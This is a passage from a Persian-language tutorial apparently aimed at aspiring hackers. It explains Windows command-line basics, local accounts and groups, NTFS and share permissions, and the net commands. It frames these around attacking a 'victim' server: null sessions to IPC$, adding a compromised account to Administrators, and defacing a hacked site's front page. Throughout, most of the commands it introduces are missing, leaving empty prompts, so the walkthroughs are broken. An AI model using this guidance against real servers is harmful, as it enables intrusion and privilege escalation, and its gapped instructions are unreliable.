فايل يا فولدري در اون نيست) ميتونم پاکش کنم. اول ميام يه فولدر پايينتر، با دستور: C:\tur2\far30> و با دستور جديد زير که مخصوص پاک کردن فولدر ( نه فايل ) است، فولدر far30 رو پاک ميکنم: C:\tur2> و فولدر پاک ميشه. حالا ميخوام اسم فايل ali1000.txt رو به araz.inc تغيير بدم، مينويسم: C:\tur2> يه dir بيريد که مطمئن بشين!! حالا ميخوام يه کپي از اين فايل که اسمش هست araz.inc بگيرم ولي با اسم ali1000.inc و در همين فولدر. پس مينويسم: C:\tur2> حالا اگه dir بگيريد، ۲ تا فايل ميبينيد. حالا ميخوام هر دو تا فايل رو منتقل کنم به درايو C ولي به ريشه، ميبينم که هر دو فايل حرف اولشون a است و پسوندشون inc ميتونم به دو شکل بنويسم: C:\tur2> ولي چون فقط همين دوتا فايل در اين فولدر بود، ميتونستم بنويسم: C:\tur2>گرفتين چي شد؟ حالا يه جديد ميخوام برم به فولدر و درايوي که فولدر ويندوز باشه. ميتونم يکي يکي درايو ها رو برم و از همه dir بگيرم تا برسم به اوني که درايو winnt داره، ولي چون اين کامپيوتر خودمه و ميدونم که فولدر ويندوز من کجاست!! مينويسم: C:\tur2> و بعد I:\> و يک dir ميگيرم. ميبينم که لسيتي از فايلها و فولدرهاي زيادي از جلو چشم رد ميشه ولي نميتونم همه رو ببينم. اگه بخوام صفحه به صفحه ببينم، مينويسم: I:\winnt> که اين سويچ p مخفف page است. اگه بخواين ليست همه سويچها رو ببينيد، ميتونيد بنويسيد: I:\winnt> حالا يه چيز جالب! با دستورات زير اول برگرديم به ريشه درايو I و بعد برگرديم درايو C : I:\winnt> cd ..I:\> C:حالا ميخوام مستقيما از درايو C محتويات فولدر winnt از درايو I رو اونهم به صورت صفحه به صفحه بخونم: C:\> حالا يه چيز بسيار مهم، ميخوام بدون دادن مسير! ليست فايلها رو در فولدر مربوط به ويندوز ببينم: C:\> اينه... !!! پس در Shell کلمه %SystemRoot% يعني فولدر ويندوز. يه سويچ جديد براي دستور dir رو ميخوام بگم. فرض کنيد که من يادم رفته فايل اجرايي cmd.exe در کدام فولدر از درايو I ( که در کامپيوتر من فولدر مربوط به ويندوز هست ) قرار داره. چون نميتونم برم تک تک فولدرها رو ببينم، بايد از سويچي استفاده کنم که وقتي يه مسير بهش ميدم، بره و تمام سوراخ سنبههاي اون فولدر ( يعني همام فولدرهاي داخليتر ) رو هم ببينيه. از سويچ s استفاده ميکنم و مينويسم: C:\> و جواب ميشنوم: Volume in drive I has no label. Volume Serial Number is DC24-A09D Directory of i:\WINNT\system3212/07/1999 04:00a 236,304 cmd.exe 1 File(s) 236,304 bytes Directory of i:\WINNT\system32\dllcache12/07/1999 04:00a 236,304 cmd.exe 1 File(s) 236,304 bytes Total Files Listed: 2 File(s) 472,608 bytes 0 Dir(s) 1,255,153,664 bytes freeپس اين دستور توانست فايل مربوطه رو در دو تا فولدر پيدا کنه، يعني اينا: i:\WINNT\system32i:\WINNT\system32\dllcacheاين cmd.exe همونه که ما در run نوشتيم که shell ويندوز اومد. حالا برميگردم به درايو C ( دستورش که يادتون هست! ) و dir ميگيرم و ميبينم که فايل ali1000.inc هنوز هم اونجا هست. ميخوام يه دستور جديد رو بگم. ببينيد گاهي پيش مياد که ما فايلي رو به يک سرور ميفرستيم ولي ميخوايم به صورت مخفي يا hidden باشه. دستوري که فايل ali1000.inc رو مخفي ميکنه، اينه: C:\> حالا اگه dir بگيرم، ديگه فايل ali1000.inc رو نميبينم. البته هنوز هم هست!! اگه بخوام به کمک دستور dir فايلهاي مخفي رو ( از جمله ali1000.inc ) ببينم، از سويچ a استفاده ميکنيم: C:\> حالا ميخوام فايل رو از حالت مخفي در بيارم، مينويسم: C:\> به همين راحتي!
اينا دستورات معمولي dos بود که براتون نوشتم. اين دستورات خيلي زياد هستند و من فقط تعداد کميشو براتون گفتم. اگه کتاب داس تو انباري خونتون پيدا کردين، ميتونين دستورات بيشتري ياد بگيريد!!!
- پسوند فايلها و مفاهيم آنها در ويندوز
در سيستمعامل ويندوز پسوندها مفاهيم خاصي دارند.
۱- فايلهاي اجرايي پسوند exe يا com يا bat دارند. ( فايلهاي با پسوند bat رو batch file ميگن که مجموعهاي از دستورات داس رو ميتونني توش بنويسين که به ترتيب اجرا بشوند پس ميتونين به کمک دستور type محتوياتشو ببينيد). ولي فايلهاي exe و com فايلهاي اجرايي هستند که محتوياتش براتون قابل خوندن نيست ولي قابل اجراست. حالا ميخوام يه فايل اجرايي رو براتون بيارم که ببينيد که در shell چطوري ميتونيد فايل اجرايي رو اجرا کنيد! ميخوام فايل tftp.exe رو اجرا کنم. اول يه dir ميگيرم از فولدر %SyestemRoot% و ميبينم که اين فايل در فولدر i:\winnt\system32 قرار داره. حالا ميخوام اجراش کنم. به دو طريق ميتونم اين کارو انجام بدم، اولي اينکه برم تو فولدر winnt\system32 و بعد بنويسم: I:\WINNT\system32> يا اينکه مستقيما از هرجايي که باشم، بنويسم: C:\> و جواب بشنوم: Transfers files to and from a remote computer running the TFTP service.TFTP [-i] host [GET | PUT] source [destination] -i Specifies binary image transfer mode (also called octet). In binary image mode the file is moved literally, byte by byte. Use this mode when transferring binary files. host Specifies the local or remote host. GET Transfers the file destination on the remote host to the file source on the local host. PUT Transfers the file source on the local host to the file destination on the remote host. source Specifies the file to transfer. destination Specifies where to transfer the file.پس چون پسوند فايل من exe بود فهميدم که با نوشتن اسم اون ميتونم اجراش کنم. اگه يادتون باشه واسه ابزارهاي خطفرماني مثل nc هم، همين کارو ميکرديم.
۲- فايلهاي استاندارد:
فايلهاي اجرايي در ويندوز با ساير سيستمعاملها از نظر پسوند فرق ميکنه. مثلا در سيستمهاي مبتني بر يونيکس ممکنه اصلا فايل اجرايي پسوندي نداشته باشه! ولي يه سري فايلها هستند که يهجورايي استاندارد شدهاند. مثلا فايلهاي تصويري ( که پسوندهاي gif، jpg و... دارند)، فايلهاي html ( که پسوندهاي html يا htm دارند )، فايلهاي asp ، php، و ... پس آشنايي با اين فايلها و فرمت اونا ميتونه خيلي کمک کنه. فرض کنيد که شما يه سايت وب رو هک کرديد ولي نميتونيد يه فايل html طراحي کنيد که بجاي صفحه اول سايت قرار بديد، نتيجه اين ميشه که نميتونيد پز بديد!!!
۳- فايلهاي نرمافزارهاي کاربردي:
نرمافزارهاي کاربردي هرکدوم خروجيهاشونو با يه پسوند خاص ارائه ميکنند. مثلا فايلهاي فتوشاپ پسوند psd دارند. فايلهاي MS Word پسوند doc دارند و...
- انواع سيستمهاي فايل در ويندوز
منظور من از سيستمهاي فايل در واقع روش پارتيشنبندي و فرمتکردن درايوهايي است که در ويندوزها استفاده ميشه. مايکروسافت از زماني که داس رو ارائه داد تا حالا از روشهاي مختلف براي سيستمهاي فايل استفاده کرده است.
۱- FAT16 : در سيستمعامل داس استفاده ميشد.
۲- FAT32 : از ويندوز ۹۵ تا me استفاده ميشد.
۳- NTFS 4.0 : در سيستمهاي nt 4.0 استفاده ميشد.
۴- NTFS هاي جديد : از ويندوز ۲۰۰۰ به بعد استفاده ميشود. هرجا گفتم NTFS منظور اين NTFS هاست. مثلا NTFS ويندوز ۲۰۰۰ ورژن 5.0 هستش.
نکته تابلو: سيستمعاملهاي جديدتر ميتونن از روشهاي پارتيشنبندي مربوط به سيستمعاملهاي قديميتر سر دربياورند ولي براي اجراي بهتر نياز به پارتيشنبندي مخصوص خود دارند. مثلا براي اينکه ويندوز ۲۰۰۰ سرور بتونه از امکاناتي که داره ( که بعدا ميگم چيها داره! ) استفاده کنه خداقل يک درايو بايد به روش NTFS فرمت بشه.
يادآوري
اين مقاله ادامه مقاله قبليه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکهاي که هست نداريم.
- اکانتها و گروهها در ويندوز سرور
همونطور که گفتم ما داريم در مورد يک ويندوز سرور منفرد صحبت ميکنيم، بنابراين منظور من از اکانت، اکانتهاي محلي يا local است ( وقتي چند ويندوز سرور در کنار هم و به صورت شبکه مورد استفاده هستند، معمولا اکانتهاي سراسري يا global هم ست ميشود که براي دسترسي به منابع در domain مورد استفاده قرار ميگيرد. درمورد اينکه domain در ويندوز سرور چيست، بعدها توضيح ميدم). بنابراين ما بحث اکانتهاي لوکال رو داريم. در مورد گروهها هم همينطور يعني گروههاي لوکال رو ميگم.
اکانت عبارت از يک username و password معتبر در ويندوز سرور است. وقتي از طريق يک اکانت به سيستم وارد ميشويم، اصطلاحا ميگوييم که login يا logon کردهايم. با login کردن به سرور به سطحي خاص از دسترسي به فايلها و منابع سيستم ميرسيم که بستگي به سطح اختيارات اون اکانت داره. تعداد زيادي اکانت لوکال پيشفرض وجود داره که مهمترينهاش، ايناست:
۱- اکانت Administrator : بالاترين سطح دسترسي به اون سرور خاص است. اگه با اين اکانت login کنيد، به نهايت دسترسي به اون کامپيوتر رسيدهايد. معادل root در سيستمعاملهاي مبتني بر يونيکس.
۲- اکانت guest : به صورت پيشفرض غير فعال است. اختيارات بسيار محدودي دارد.
۳- اکانت IUSR_xxxxx-yyyyy : در اين اکانت xxxx-yyyyyy نام همون کامپيوتره. مثلا ممکنه اسم اين اکانت اين باشه: IUSR_ABBASGOLI-V0P1QR !! اين اکانت همراه با IIS به طور پيشفرض ايجاد ميشه و خود ويندوز يه پسورد random براش ست ميکنه. ( IIS يا Internet Information Server وبسرور مايکروسافت براي ويندوز است. اين نرمافزار همون چيزي است که روي پورت ۸۰ فالگوش ميماند و وقتي شما سايتي از اون سرور رو توسط مرورگر درخواست ميکنيد، براي شما صفحه وب رو ميفرستد. وب سرورهاي ديگري نيز براي ويندوز وجود دارد که به اندازه IIS پرکاربرد نيستند) اين اکانت نيز يک اکانت محدود است. وقتي شما مشخصا از طريق پورت ۸۰ ويندوز سروري را هک ميکنيد که IIS روي اون نصب شده و يک شل از اين طريق ميگيريد، معمولا شما سطح اختياراتي معادل همين اکانت IUSR_xxxxx-yyyyy رو بدست آوريدهايد. يعني شما سطح اختيارات Administrator رو نداريد. خيليّها از من ميپرسند که مثلا با Unicode bug يک ويندوز ۲۰۰۰ رو هک کردهايم ولي نميتونيم مثلا صفحه اول سايت رو عوض کنيم... دليلش اينه که شلي که شما از اين طريق بدست آوردهايد، در سطح Administrator نيست و ممکن است لازم باشد که به طريقي از اکانت IUSR_xxxxx-yyyyy به Administrator برسيد تا بتونيد اون فايل خاص (صفحه اول) رو بدست بگيريد.
۴- و...
گروههاي محلي ( local groups ) چيست؟
فرض کنيد که يه کامپيوتر ۵۰ اکانت مختلف در اون ايجاد شده که هر کدوم از اين اکانتها دسترسي متفاوتي بايد به منابع داشته باشند. اگه قرار باشه هر ۵۰ اکانت تک تک ايجاد بشه و اجازه دسترسي به منابع خاص يکي يکي ايجاد بشه، کار بسيار طولاني خواهد بود. معمولا اينگونه است که تعداد زيادي از اين اکانتها بايد سطح اختيارات يکسان داشته باشند، مثلا ۳۰ تاشون در حد guest بايد به سرور دسترسي داشته باشند. در اين حالت بهتر است که يک گروه ايجاد شود و اختيارات واسه اون گروه ست بشه. حالا هر اکانتي که داخل اون گروه ايجاد بشه، همون سطح اختيارات رو خواهد داشت و اين مديريت رو سادهتر ميکنه. معمولا اسم گروهها يه حرف s آخرشون دارند که علامت جمعه. مهمترين گروهها عبارتند از:
۱- Administrators: يعني admin ها. مجموعهاي از اکانتها که دسترسيشون در حد Administrator است.
۲- Power Users
۳- Backup Operators
۴- Guests
۵- Users
۶- و...
Account Policy چيست؟
قواعدي است که براي اکانتها ست ميشود. مثلا ممکن است Admin سرور ست کند که حداقل طول پسورد براي اکانت بايد ۶ حرف باشد يا اينکه فلان اکانت بعد از ۳ بار امتحان ناموفق براي login قفل شود و... اين اطلاعات رو قبلا در درس پورت ۱۳۹ گفتم که ميشه به کمک enum يا winfo و... بدست آورد.
- permision ها ( مجوزها ) در NTFS
مجوزها در NTFS مهمترين تحولي است که نسبت به FAT32 رخ داده است. مجوزها تعيين ميکنند که يک يوزر که به سيستم login کرده است، در چه حدي ميتواند با فايلهاي يک فولدر کار کند. فرض کنيد که يک يوزر از گروه guests به سيستم وارد شده است، در اين حالت مسلما نميخواهيم که اين فرد بتواند به تمام فايلها دسترسي از نوع خواندن و نوشتن داشته و آنها را تغيير دهد. پس فولدرهايي وجود دارند ( مثل فولدر مربوط به فايلهاي ويندوز ) که فقط براي افراد خاصي قابل دسترسي هستند.
نکته بسيار مهم در ويندوز اين است که مجوزها براي فولدرها تنظيم ميشوند نه براي فايلها. به عبارت ديگر وقتي مجوزي براي فايلي ميخواهيم ست کنيم، در ويندوز سرورها نميتوانيم براي اون فايل اين مجوز رو تنظيم کنيم، بلکه بايد فولدري که فايل در اون قرار گرفته رو ست کنيم. در اين حالت تمام فايلهاي داخل اون فولدر همين مجوز رو خواهند داشت.
نکته مهم ديگر اين است که مجوزها براي اکانتهاي مختلف به صورتهاي متفاوت ست ميشوند. مثلا ممکن است فولدر ويندوز براي اکانتهاي guest به صورت فقط خواندني تنظيم شود، ولي براي اکانتهاي Administrators به صورت دسترسي کامل.
الف- مجوزها در NTFS 4.0:
۱- No Access : يعني عدم دسترسي براي يک اکانت خاص. يعني اينکه حتي نميتوان وارد اون فولدر شد.
۲- Read: فقط خواندني. يعني ميشه به فولدر وارد شد و فايلها رو دسترسي داشت ( چه فايلهاي اجرايي و چه غير اجرايي ) و اونها رو خواند ( در مورد فايلهاي اجرايي يعني ميشه اجراشون کرد ) ولي اجازه تغيير در فايلهاي اون فولدر مثل پاک کردن، ويرايش و ايجاد فايل جديد رو نداريم.
۳- Change: يعني هم خواندن، هم تغيير، هم حذف و هم اجرا براي اون اکانت خاص مجاز است. يعني همه کار ولي نه تغيير دادن مجوزها واسه اون فولدر. يعني اينکه فرد نميتونه ست کنه که اين فولدر که الان مثلا براي اکانتهاي guests قابل دسترسي نيست، قابل دسترس بشه.
۴- Full Control: يعني دسترسي کامل. شامل همه مواردي که در شماره ۳ گفته شد + اجازه تغيير مجوزها. بنابراين اين مجوز معمولا فقط براي Adminها ست ميشود.
ب- مجوزها در NTFS 5.0:
۱- No Access : يعني عدم دسترسي.
۲- Read: فقط خواندني. در NTFS 4.0 در حالت Read ميتونستيم فايلهاي اجرايي داخل اون فولدر رو اجرا کنيم ولي در NTFS 5.0 با اين مجوز نميتونيم فايلهاي اجرايي رو اجرا کنيم و فقط ميتونيم بخونيم.
۳- Read & Execute: يعني اجازه خواندن و نيز اجازه اجرا کردن.
۴- Write: يعني اجازه خواندن، اجزا کردن و تغيير دادن.
۵- Modify: دقيقا مثل Write. اين نشون از ضريب هوشي مايکروسافت بزرگ داره! دو اسم براي يک نوع دسترسي
۶- Full Control: يعني مثل Write + اجازه تغيير مجوزها
- Share ها در ويندوز سرور
share در ويندوز سرورها يعني منابعي که از طريق شبکه ( يعني از راه دور ) قابل دسترسي باشد. همونطور که تو درس مربوط به پورت ۱۳۹ گفتم، دسترسي به منابع اشتراکي در ويندوز سرورها، از طريق پروتکل SMB است که مايکروسافت اونو CIFS ميگه. در اين حالت، اول يک احراز هويت داريم و بعد از اون يک session يا نشست تشکيل ميشه ( يه چيزي هم به اسم Null Session هست که توضيحاتش در همون درس اومده. ) پروتکلهاي قديمي NetBEUI (که از دور خارج شده) و NetBIOS هم چيزي است هنوز هم توسط ويندوز ساپورت ميشه. منابع اشتراکي هم که مشخصه: فولدرها، درايوها و چاپگر.
حالا ميرسيم به ليست share ها:
: يعني دسترسي کامل. اگه بتونيم به اين share برسيم در واقع به تمام فايلها، درايوها و فولدرها دسترسي داريم. معمولا دسترسي به اين share فقط واسه اکانتهاي Admin است.
: اين share مربوط به فولدري است که ويندوز در اون نصب شده است يعني %SystemRoot% بنابراين share محدودتري نسبت به $IPC محسوب ميشه.
: يعني چاپگر! فولدر مربوطهاش اينجاست: SystemRoot%\system32\spool\PRINTERS% يعني با اين share به اين فولدر دسترسي داريم. اين فولدر جايي است که کارهاي چاپي به صورت فايلهايي با پسوند spl نگهداري ميشوند.
و و...: اگه اين share ها ست شده باشه به درايوهاي C و D و ... دسترسي داريم.
share هاي ديگر: هر فولدري رو در ويندوز ميشه share کرد و يک نام خاص به اون نسبت داد...
خوب بحث اينجاست که هر کدوم از اين share ها هم ميتونند واسه اکانتهاي مختلف به صورتهاي متفاوت مجوزدهي شوند ( درست مثل بحث NTFS که گفتم) ولي يه تفاوت وجود داره. در مورد share ها عبارت Network Access رو بکار ميبريم ولي واسه NTFS عبارت Local Access و اينا ممکنه متفاوت باشند. مثلا فرض کنيم که درايو C واسه اکانت guest در share به صورت read ست شده باشه. ولي در همين درايو فولدر ويندوز باشه که واسه guest در NTFS به صورت No Access ست بشه. حالا چه اتفاقي ميافته؟ در اين حالت، به صورت اشتراک به قضيه نگاه ميکنيم، يعني No Access (واسه حالت local Access) و Read (واسه حالت remote Access ) رو با هم اشتراک ميگيريم ( همون چيزي که تو درس رياضيات خونديم! ) و نتيجه No Access ميشه. پس اگه يک guest از طريق share وارد درايو C بشه، اگرچه به خيلي از فولدرها دسترسي خواهد داشت ولي دسترسي اون به فولدر مربوط به ويندوز در همون درايو غيرممکن خواهد بود.
- ساير دستورات خط فرماني در ويندوز سرورها
يک سري دستورات خطفرماني در قسمت اول اين مجموعه درسها بررسي شد. بيشتر دستورات خطفرماني که امروز ميگم، از مجموعه دستور net ويندوز هستند (يعني با عبارت net شروع ميشوند) و اکثرا لازم است که با اکانتي در حد Administrator باشيد که اجرا بشوند. يه مطلب ديگه اينکه وقتي ميگم که يه دستور به صورت لوکال هم ميتونه اجرا بشه، روي ويندوز NT کامپيوتر خودتون هم ميتونيد تست کنيد. مطلب بعدي اينکه اين دستورات کاربردهاي زيادي دارند ولي ما فقط مواردي رو بررسي ميکنيم که بدرد يک هکر ميخوره!
۱- :
اين دستور در واقع help دستور net است. مينويسم: و جواب ميشنوم: The syntax of this command is:NET HELP command -or-NET command /HELP Commands available are: NET ACCOUNTS NET HELP NET SHARE NET COMPUTER NET HELPMSG NET START NET CONFIG NET LOCALGROUP NET STATISTICS NET CONFIG SERVER NET NAME NET STOP NET CONFIG WORKSTATION NET PAUSE NET TIME NET CONTINUE NET PRINT NET USE NET FILE NET SEND NET USER NET GROUP NET SESSION NET VIEW NET HELP SERVICES lists the network services you can start. NET HELP SYNTAX explains how to read NET HELP syntax lines. NET HELP command | MORE displays Help one screen at a time.توضيحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگيرم، بايد بنويسم: timeيا time تا توضيحات بياد.
۲- :
وقتي که يک دستور net به صورتي اجرا ميشه که خطايي پيش بياد، ويندوز يک شماره خطاي ۴ رقمي به ما ميده که براي دريافت جزئيات بيشتر در مورد اين خطا بايد از دستور net helpmsg استفاده کنيم. مثلا مينويسم! net share shanguli_mangul_habbeye_angurو جواب مياد: This shared resource does not exist.More help is available by typing NET HELPMSG .يک خطا رو گزارش داده و يک عدد ۴ رقمي به من داده. براي اينکه بدونم جزئيات خطا چيه، مينويسم: 2310و به من ميگه که اشتباه من چه بوده است...
۳- :
ما از اين دستور براي فهميدن زمان روي يک سرور استفاده ميکنيم. اگه به صورت لوکال استفاده ميکنيد ( يعني اگه يک shell در سرور قرباني داريد و دستورات رو همونجا تايپ ميکنيد) بنويسيد: ولي اگه به صورت remote کار ميکنيد (يعني يک NetBIOS session تشکيل دادهايد توسط دستور net use که در درس پورت ۱۳۹ هم توضيح داده شده )، بنويسيد: xxx.xxx.xxx.xxxکه xxx.xxx.xxx.xxx همان ip ي است که session براش داريم.
۴- :
اين دستور دو کاربرد مهم داره که در بحث پورت ۱۳۹ بحث شدهاست. اولين کاربرد connect يا disconnect شدن به يک کامپيوتر با پورت ۱۳۹ باز و NetBIOS فعال است. مثلا اگه بخوام با اکانت Administrator با پسورد yechizi به کامپيوتري با ip ي xxx.xxx.xxx.xxx کانکت بشم به share ي به اسم $IPC (اين share معمولا هست، به همين دليل از اين share استفاده کردم. اگه شما روي کامپيوتر قرباني از وجود share ديگري اطلاع داريد، همون رو استفاده کنيد ) ، مينويسم: xxx.xxx.xxx.xxxIPC$ "yechizi""Administrator"اين کاربرد اول بود که اينو قبل از دستور net view انجام ميديم. ميتونستيم يک null Session تشکيل بديم، به اين صورت که قسمت مربوط به username و password رو خالي بذاريم. به اين صورت: xxx.xxx.xxx.xxxIPC$ "" ""حالا session تشکيل شده است! کاربرد بعدي اينه که بعد از اينکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و ليست کامل share ها رو بدست آوردم، بيام و يکي از اين share ها رو استفاده کنم. مثلا اگه اسم share که ليست شده، SharedDocs باشه، و بخوام يک درايو جديد رو بهش نسبت بدم که بتونم باهاش کار کنم، مينويسم: xxx.xxx.xxx.xxx\SharedDocsمعني کاراکتر * اينه که اگه مثلا آخرين درايو در کامپيوتر من ( با احتساب سي-دي درايو ) مثلا G باشه، درايوي که براي share استفاده ميشه، درايو بعدي يعني H باشه. ميتونستم اينطوري هم بنويسم: xxx.xxx.xxx.xxx\SharedDocsخوب حالا ميتونم مثل يک درايو محلي باهاش کار کنم. توي درس پورت ۱۳۹ مياومديم و My Computer رو از دسکتاپ باز ميکرديم و با درايو جديد کار ميکرديم. چون ما دستورات داس رو ياد گرفتهايم ميتونيم با اين دستورات هم با اون درايو کار کنيم، مثلا بنويسيم: H:dir,...وقتي کارمون با share تموم شد، بايد disconnect کنيم، با اين دستور : H:تا ارتباط قطع بشه.
۵- :
netbios session تشکيل دادهام (گاهي Null Session هم جواب ميده) و حالا ميخوام ببينم که چه منابعي برام share شده، مينويسم: xxx.xxx.xxx.xxxو مثلا جواب ميگيرم: Shared resources at \\xxx.xxx.xxx.xxxShare name Type Used as Comment------------------------------------------------The command completed successfully.ميبينيد که SharedDocs فولدرياست که share شده. حالا با دستور net use ميتونم از share استفاده کنم.
۶- :
اين دستور به ما کمک ميکنه که share ها رو به صورت لوکال مديريت کنيم ( دستور بالايي به صورت remote استفاده ميشد ) . ميخوام ببينم که چه share هايي الان هست. مينويسم: و جواب ميگيرم: Share name Resource Remark-------------------------------------------------------------------------------F$ F:\ Default shareIPC$ Remote IPCD$ D:\ Default shareI$ I:\ Default shareG$ G:\ Default shareE$ E:\ Default shareADMIN$ I:\WINNT Remote AdminH$ H:\ Default shareC$ C:\ Default shareJ$ J:\ Default shareThe command completed successfully.همشون پر واضحاند! خوب حالا ميخوام مثلا $C رو از ليست share ها پاک کنم. مينويسم: C$ اگه دوباره ليست رو بيارم، ميبينم که ديگه نيست. ميخوام دوباره همون رو share کنم، مينويسم: C$C:حالا ميخوام مثلا فولدر C:\ali رو به اسم info بيام و share کنم، مينويسم: infoc:\aliحالا اگه ليست بگيرم، ميبينم که وارد ليست شده.
۷- :
Account Policy رو براي اکانتي که با اون وارد شدهايم بيان ميکند. بهصورت لوکال استفاده ميشود. مينويسم: و مثلا جواب ميشنوم: Force user logoff how long after time expires�: NeverMinimum password age (days): 0Maximum password age (days): 42Minimum password length: 0Length of password history maintained: NoneLockout threshold: NeverLockout duration (minutes): 30Lockout observation window (minutes): 30Computer role: SERVERThe command completed successfully.تنها قسمتي که نياز به توضيح دارد، عبارت Lockout است. اين يک ويژگي امنيتي است. فرض کنيد که کسي ميخواد از طريق امتحان کردن تعداد زيادي پسورد براي يک اکانت، پسورد رو پيدا کنه ( Crack کردن ). ميتونيم جوري اکانت رو تنظيم کنيم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقيقه locak يا قفل بشه. اسن باعث ميشه که کار هکر کند بشه. ولي معمولا اينطوري است که اکانت Administrator جوري هست که هرگز قفل نشه ( توضيحات مفصل رو درس بعدي بخونيد ).
۸- :
اين دستور به ما کمک ميکنه که به صورت لوکال بدونيم که چه اکانتهايي در سيستم تعريف شده است و نيز اينکه اطلاعاتي در مورد هريک بدست بياريم و نيز اکانت جديد تعريف کنيم. اول ميخوام بدونم چه اکانتهايي تعريف شده، مينويسم: و جواب ميشنوم: User accounts for \\computer-name-------------------------------------------------------------------------------Administrator ali arazASPNET Guest The command completed successfully.خوب حالا مثلا ميخوام راجع به اکانت guest اطلاعاتي بگيرم، مينويسم: guestو جواب ميگيرم: User name GuestFull NameComment Built-in account for guest access to the computer/domainUser's commentCountry code 000 (System Default)Account active NoAccount expires NeverPassword last set 10/27/2003 2:58 AMPassword expires NeverPassword changeable 10/27/2003 2:58 AMPassword required NoUser may change password NoWorkstations allowed AllLogon scriptUser profileHome directoryLast logon NeverLogon hours allowed AllLocal Group Memberships *GuestsGlobal Group memberships *NoneThe command completed successfully.ميبينيد که در سطر ۲ تا مونده به آخر ( سطري Local Group Membership ) دقيقا بيان شده که اين اکانت به چه گروههايي تعلق داره. دقت کنيد که بهجاي دستور net user از دستور net users هم ميتونيد استفاده کنيد.
حالا ميخوام يک اکانت جديد اضافه بکنم. اسم اکانت ميخوام vahid باشه و پسورد اون yechizi مينويسم: vahid yechizi حالا ميخوام همين اکانت رو پاک کنم: vahid دقت کنيد که در دستور پاک کردن ديگه لزومي به وارد کردن پسورد نيست. دستور بعدي به ما ميگه که چطوري يک اکانت رو وادار کنيم که عضو يک گروه محلي شود.
۹- :
ليست گروههاي محلي تعريف شده رو بيان ميکنه و نيز ميشه فهميد در هر کدوم از اين گروهها چه اکانتهايي هست ونيز ميشه به يک گروه خاص اکانتي اضافه کرد. ميخوام ببينم که چه گروههاي محلي تعريف شده است. مينويسم: و جواب ميشنوم: Aliases for \\Computer-name-------------------------------------------------------------------------------*Administrators *Backup Operators *Debugger Users*DHCP Administrators *DHCP Users *Guests*Power Users *Replicator *UsersThe command completed successfully.دقت کنيد که ويندوز معمولا هنگام ارائه نتايج دستورات net مياد و اول اسم هر گروه يک * قرار ميده تا با اکانتها اشتباه نشه. حالا ميخوام ببينم که مثلا در گروه Administrators چه اکانتهايي هست. مينويسم: Administratorsو جواب ميشنوم: Alias name AdministratorsComment Administrators have complete and unrestricted access to the computer/domainMembers-------------------------------------------------------------------------------AdministratoraliarazThe command completed successfully.پس سه تا اکانت در حد Admin داريم. حالا ميخوام مثلا اکانت ali رو از ليست Admin ها خارج کنم، مينويسم: Administrators ali /deleteو اون اکانت از گروه حذف ميشه (ميتونيد دوباره ليست بگيريد و ببينيد که ديگه در اين گروه نيست ). حالا ميخوام دوباره اکانت ali رو به اين گروه اضافه کنم، مينويسم: Administrators ali /addاين دستور از جمله مهمترين دستوراتي است که بايد ياد بگيريد. گاهي با اکانتي وارد ميشويم و ميخواهيم که اونو به حد Admin برسونيم و روش کار همين دستور آخري است ( اينکه اجازه اينکار رو داريم يا نه، بحثي است که بعدا مطرح ميشه و گفته خواهد شد که چطوري توسط يک سري exploit مشکل رو حل کنيم). وقتي اکانتي وارد گروه Admin ميشه، تمام مزاياي همچين گروهي رو يدست مياره.
۱۰- :
به کمک اين دستور مشخص ميشه که چه کساني الان يک session در سيستم دارند. به عبارت ديگه چه کساني به صورت remote به سيستم وارد شدهاند. اين دستور رو تايپ کنيد: تا ليست اونا بياد. اگه ميخوام همه session ها رو خاتمه بدم، مينويسم: اين همه session هاي مرا در کامپيوتري که درش اين دستور اجرا شده، با ساير کامپيوترها قطع ميکند. اگه فقط بخوام يک session رو با يه کامپيوتر خاص تموم کنم، مينويسم: xxx.xxx.xxx.xxx اين در حالتي است که با اون کامپيوتر session داشته باشم. دقت کنيد که به جاي دستور net session ميتونيد از دستور net sessions يا net sess استفاده کنيد.
۱۱- :
فرض کنيد که ميخوام يک message به فرد خاصي که الان به سيستم وارد شده و يک session دارد بفرستم. ( اينکه فردي session دارد يا نه، به کمک دستور net session قابل بررسي است) بدين منظور از اين دستور ميتونم استفاده کنم. مثلا اگه بخوام به Administrator که الان در سيستم هست، پيغام Salam Refig رو بفرستم، مينويسم: Administrator Salam Refigدر اين حالت اون پيغام منو ميگيره. اگه بخوام به همه اونايي که الان session دارند، همين پيغام رو بفرستم، مينويسم: Salam Refigو پيغام و همه ميگيرند. اين دستور بايد به صورت local يعني از طريق يک shell اجرا بشه.
۱۲- ساير دستورات net :
يک سري دستورات net هستند مثل net computer و net group که در شبکهاي از ويندوز سرورها کاربرد دارند و بعدها بررسي خواهند شد. و نيز يک سري دستور براي مديريت سرويسها داريم مثل net config و net stop و net continue و net pause و net start که در جلسه بعد ميگم.
- NTRK چيست؟
NTRK مخفف NT Resourse Kit است. NTRK محصولي از مايکروسافت است و به صورت يک CD جداگانه (و البته پولي) همراه نسخههاي مختلف ويندوزهاي سري NT به فروش ميرسه و يک سري ابزارهاي خطفرماني و گرافيکي بسيار جالب را در اختيار قرار ميده. NTRK مثل يک شمشير دولبهاست، هم به مديران شبکه کمک ميکنه که کار مديريت ويندوز سرور رو راحتتر انجام بدهند و هم از ديدگاه هکر، NTRK پر از برنامههايي است که براي هک کردن ويندوز سرور مورد نياز است. نرمافزارهايي که خط فرمان خود ويندوز فاقد آن است. الان که من دارم درس رو مينويسم، شما ميتونيد از اين آدرس به تعدادي از اين ابزارها دسترسي پيدا کنيد. (البته اين گونه آدرسها مدام تغيير ميکنند چون در واقع غيرقانوني هستند). حالا مهمترين نرمافزارهاي اين مجموعه رو شرح ميدم:
۱- :
